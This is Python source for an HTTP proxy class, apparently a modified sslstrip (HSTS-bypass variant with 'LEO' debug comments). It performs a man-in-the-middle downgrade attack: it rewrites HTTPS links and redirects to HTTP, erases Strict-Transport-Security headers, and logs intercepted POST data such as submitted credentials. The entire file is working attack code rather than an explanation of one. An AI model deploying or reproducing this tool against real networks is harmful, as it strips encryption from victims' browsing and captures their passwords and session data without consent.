# Copyright (c) 2004-2009 Moxie Marlinspike # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # import logging, re, string, random, zlib, gzip, StringIO from twisted.web.http import HTTPClient from URLMonitor import URLMonitor class ServerConnection(HTTPClient): ''' The server connection is where we do the bulk of the stripping. Everything that comes back is examined. The headers we dont like are removed, and the links are stripped from HTTPS to HTTP. ''' urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) urlType = re.compile(r"https://", re.IGNORECASE) urlTypewww = re.compile(r"https://www", re.IGNORECASE) urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) # urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) def __init__(self, command, uri, postData, headers, client): self.command = command self.uri = uri self.postData = postData self.headers = headers self.client = client self.urlMonitor = URLMonitor.getInstance() self.isImageRequest = False self.isCompressed = False self.contentLength = None self.shutdownComplete = False def getLogLevel(self): return logging.DEBUG def getPostPrefix(self): return "POST" def sendRequest(self): logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri)) self.sendCommand(self.command, self.uri) def sendHeaders(self): for header, value in self.headers.items(): logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value)) self.sendHeader(header, value) self.endHeaders() def sendPostData(self): logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData)) self.transport.write(self.postData) def connectionMade(self): logging.log(self.getLogLevel(), "HTTP connection made.") self.sendRequest() self.sendHeaders() if (self.command == 'POST'): self.sendPostData() def handleStatus(self, version, code, message): logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message)) self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value)) if (key.lower() == 'location'): value = self.replaceSecureLinks(value) if (key.lower() == 'content-type'): if (value.find('image') != -1): self.isImageRequest = True logging.debug("Response is image content, not scanning...") if (key.lower() == 'content-encoding'): if (value.find('gzip') != -1): logging.debug("Response is compressed...") self.isCompressed = True elif (key.lower() == 'content-length'): self.contentLength = value elif (key.lower() == 'set-cookie'): self.client.responseHeaders.addRawHeader(key, value) elif (key.lower()== 'strict-transport-security'): logging.log(self.getLogLevel(), "LEO Erasing Strict Transport Security....") else: self.client.setHeader(key, value) def handleEndHeaders(self): if (self.isImageRequest and self.contentLength != None): self.client.setHeader("Content-Length", self.contentLength) if self.length == 0: self.shutdown() def handleResponsePart(self, data): if (self.isImageRequest): self.client.write(data) else: HTTPClient.handleResponsePart(self, data) def handleResponseEnd(self): if (self.isImageRequest): self.shutdown() else: HTTPClient.handleResponseEnd(self) def handleResponse(self, data): if (self.isCompressed): logging.debug("Decompressing content...") data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() logging.log(self.getLogLevel(), "Read from server:\n" + data) #logging.log(self.getLogLevel(), "Read from server:\n <large data>" ) data = self.replaceSecureLinks(data) if (self.contentLength != None): self.client.setHeader('Content-Length', len(data)) self.client.write(data) self.shutdown() def replaceSecureLinks(self, data): sustitucion = {} patchDict = self.urlMonitor.patchDict if len(patchDict)>0: dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) iterator = re.finditer(ServerConnection.urlExpression, data) for match in iterator: url = match.group() logging.debug("Found secure reference: " + url) nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) logging.debug("LEO replacing %s => %s"%(url,nuevaurl)) sustitucion[url] = nuevaurl #data.replace(url,nuevaurl) #data = self.urlMonitor.DataReemplazo(data) if len(sustitucion)>0: dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) #logging.debug("LEO DEBUG received data:\n"+data) #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) #data = re.sub(ServerConnection.urlTypewww, 'http://w', data) #if data.find("http://w.face")!=-1: # logging.debug("LEO DEBUG Found error in modifications") # raw_input("Press Enter to continue") #return re.sub(ServerConnection.urlType, 'http://web.', data) return data def shutdown(self): if not self.shutdownComplete: self.shutdownComplete = True self.client.finish() self.transport.loseConnection()